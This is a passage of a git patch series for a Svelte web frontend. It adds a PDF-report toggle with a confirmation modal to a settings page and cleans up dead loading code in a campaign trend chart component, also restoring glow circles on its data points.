+ PDF report generation is not enabled.
Enable it in Settings under PDF Reports. +
+
diff --git a/frontend/src/routes/settings/+page.svelte b/frontend/src/routes/settings/+page.svelte index d28db3b..ac0e982 100644 --- a/frontend/src/routes/settings/+page.svelte +++ b/frontend/src/routes/settings/+page.svelte @@ -12,6 +12,7 @@ import FormGrid from '$lib/components/FormGrid.svelte'; import Headline from '$lib/components/Headline.svelte'; import HeadTitle from '$lib/components/HeadTitle.svelte'; + import Alert from '$lib/components/Alert.svelte'; import Modal from '$lib/components/Modal.svelte'; import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte'; import PasswordField from '$lib/components/PasswordField.svelte'; @@ -99,6 +100,9 @@ let reportTemplateError = ''; let isReportTemplateSubmitting = false; let isWipingBrowserCache = false; + let isReportPDFEnabled = false; + let isReportPDFEnableModalVisible = false; + let isTogglingReportPDF = false; $: { isCompanyContext = appState.isCompanyContext(); @@ -123,6 +127,7 @@ await refreshBackupList(); await refreshDisplayMode(); await refreshAutoPrune(); + await refreshReportPDFEnabled(); if (!ssoSettingsFormValues.redirectURL) { ssoSettingsFormValues.redirectURL = `${location.origin}/api/v1/sso/entra-id/auth`; } @@ -605,6 +610,54 @@ reportTemplateError = ''; }; + const refreshReportPDFEnabled = async () => { + const response = await api.option.get('report_pdf_enabled'); + isReportPDFEnabled = response.success && response.data?.value === 'true'; + }; + + const onClickReportPDFToggle = () => { + if (isReportPDFEnabled) { + onDisableReportPDF(); + } else { + isReportPDFEnableModalVisible = true; + } + }; + + const onDisableReportPDF = async () => { + isTogglingReportPDF = true; + try { + const response = await api.option.set('report_pdf_enabled', 'false'); + if (response.success) { + isReportPDFEnabled = false; + addToast('PDF reports disabled', 'Success'); + } else { + addToast(response.error || 'Failed to update setting', 'Error'); + } + } catch (e) { + addToast('Failed to update setting', 'Error'); + } finally { + isTogglingReportPDF = false; + } + }; + + const onConfirmEnableReportPDF = async () => { + isTogglingReportPDF = true; + try { + const response = await api.option.set('report_pdf_enabled', 'true'); + if (response.success) { + isReportPDFEnabled = true; + isReportPDFEnableModalVisible = false; + addToast('PDF reports enabled', 'Success'); + } else { + addToast(response.error || 'Failed to update setting', 'Error'); + } + } catch (e) { + addToast('Failed to update setting', 'Error'); + } finally { + isTogglingReportPDF = false; + } + }; + const onWipeBrowserCache = async () => { isWipingBrowserCache = true; try { @@ -1062,6 +1115,37 @@
{/if} + +
+

+ PDF Reports +

+
+
+

+ Generate PDF reports for campaigns. Requires Chromium and system dependencies. +

+

+ {isReportPDFEnabled ? 'Enabled' : 'Disabled'} +

+
+
+ +
+
+
+
{/if} + {#if isReportPDFEnableModalVisible} + + + + {/if} From 6dd327cce1cf55658d59b902192deb4c45c6e787 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Fri, 29 May 2026 19:44:10 +0200 Subject: [PATCH 46/78] fix dead code and reapply glow on active Signed-off-by: Ronni Skansing --- .../lib/components/CampaignTrendChart.svelte | 80 +++++++------------ 1 file changed, 27 insertions(+), 53 deletions(-) diff --git a/frontend/src/lib/components/CampaignTrendChart.svelte b/frontend/src/lib/components/CampaignTrendChart.svelte index 0831cb6..5780769 100644 --- a/frontend/src/lib/components/CampaignTrendChart.svelte +++ b/frontend/src/lib/components/CampaignTrendChart.svelte @@ -21,30 +21,10 @@ export let isLoading = false; export let onCampaignClick = (campaignId) => {}; - // Debounced loading state to prevent flash - let debouncedIsLoading = false; - let loadingTimeout; let hasAttemptedLoad = false; - const LOADING_DEBOUNCE_MS = 0; // show loading immediately - $: { - if (isLoading) { - // Mark that we've attempted to load - hasAttemptedLoad = true; - // Start showing loading after a delay - if (!loadingTimeout) { - loadingTimeout = setTimeout(() => { - debouncedIsLoading = true; - }, LOADING_DEBOUNCE_MS); - } - } else { - // Immediately hide loading and clear timeout - if (loadingTimeout) { - clearTimeout(loadingTimeout); - loadingTimeout = null; - } - debouncedIsLoading = false; - } + $: if (isLoading) { + hasAttemptedLoad = true; } // localStorage keys for persisting chart settings @@ -311,22 +291,6 @@ }; })(); - // Update chartData to use filteredCampaignStats, using sendStartAt as date, and sort by date ascending - $: chartData = filteredCampaignStats - .filter((c) => { - if (!c.campaignStartDate && !c.createdAt) { - console.warn('Skipping campaign stat with missing dates in chart data:', c); - return false; - } - return true; - }) - .map((c) => ({ - ...c, - date: c.campaignStartDate ? new Date(c.campaignStartDate) : new Date(c.createdAt), - name: c.campaignName || c.name || c.title || '' - })) - .sort((a, b) => a.date.getTime() - b.date.getTime()); - // --- Force chart rerender --- let chartKey = ''; $: chartKey = chartData @@ -725,6 +689,18 @@ const clampedValue = Math.max(0, Math.min(100, point[metric.key] || 0)); const y = yScale(clampedValue); + // Glow circle rendered behind main point + const glow = document.createElementNS('http://www.w3.org/2000/svg', 'circle'); + glow.setAttribute('cx', x.toString()); + glow.setAttribute('cy', y.toString()); + glow.setAttribute('r', '8'); + glow.setAttribute('fill', metric.color); + glow.setAttribute('opacity', '0.2'); + glow.setAttribute('class', `chart-point-glow chart-point-glow-${metric.key}`); + glow.setAttribute('data-index', i.toString()); + glow.style.pointerEvents = 'none'; + svg.appendChild(glow); + // Main circle const circle = document.createElementNS('http://www.w3.org/2000/svg', 'circle'); circle.setAttribute('cx', x.toString()); @@ -1149,7 +1125,7 @@ const metricValue = document.createElement('span'); metricValue.className = 'text-sm font-semibold ml-auto'; metricValue.style.color = metric.color; - metricValue.textContent = Math.round(data[metric.key] || 0).toString(); + metricValue.textContent = Math.round(data[metric.key] || 0) + '%'; metricLeft.appendChild(metricDot); metricLeft.appendChild(metricLabel); @@ -1239,9 +1215,6 @@ if (themeObserver) { themeObserver.disconnect(); } - if (loadingTimeout) { - clearTimeout(loadingTimeout); - } if (tooltipTimeout) { clearTimeout(tooltipTimeout); } @@ -1265,7 +1238,7 @@ class="chart-container w-full overflow-x-auto" style="height:0;overflow:hidden;visibility:hidden;position:absolute;" >
- {#if isLoading || debouncedIsLoading} + {#if isLoading}
{:else}
- {#if hasAttemptedLoad && !isLoading && !debouncedIsLoading && campaignStats.length < 2} + {#if hasAttemptedLoad && !isLoading && campaignStats.length < 2}
@@ -1366,7 +1339,7 @@ > Trendline N: Moving Avg N: - No trendline stats to dsplay (trendStats is null or not enough data). + No trendline stats to display (trendStats is null or not enough data).
{/if}
@@ -1475,7 +1448,10 @@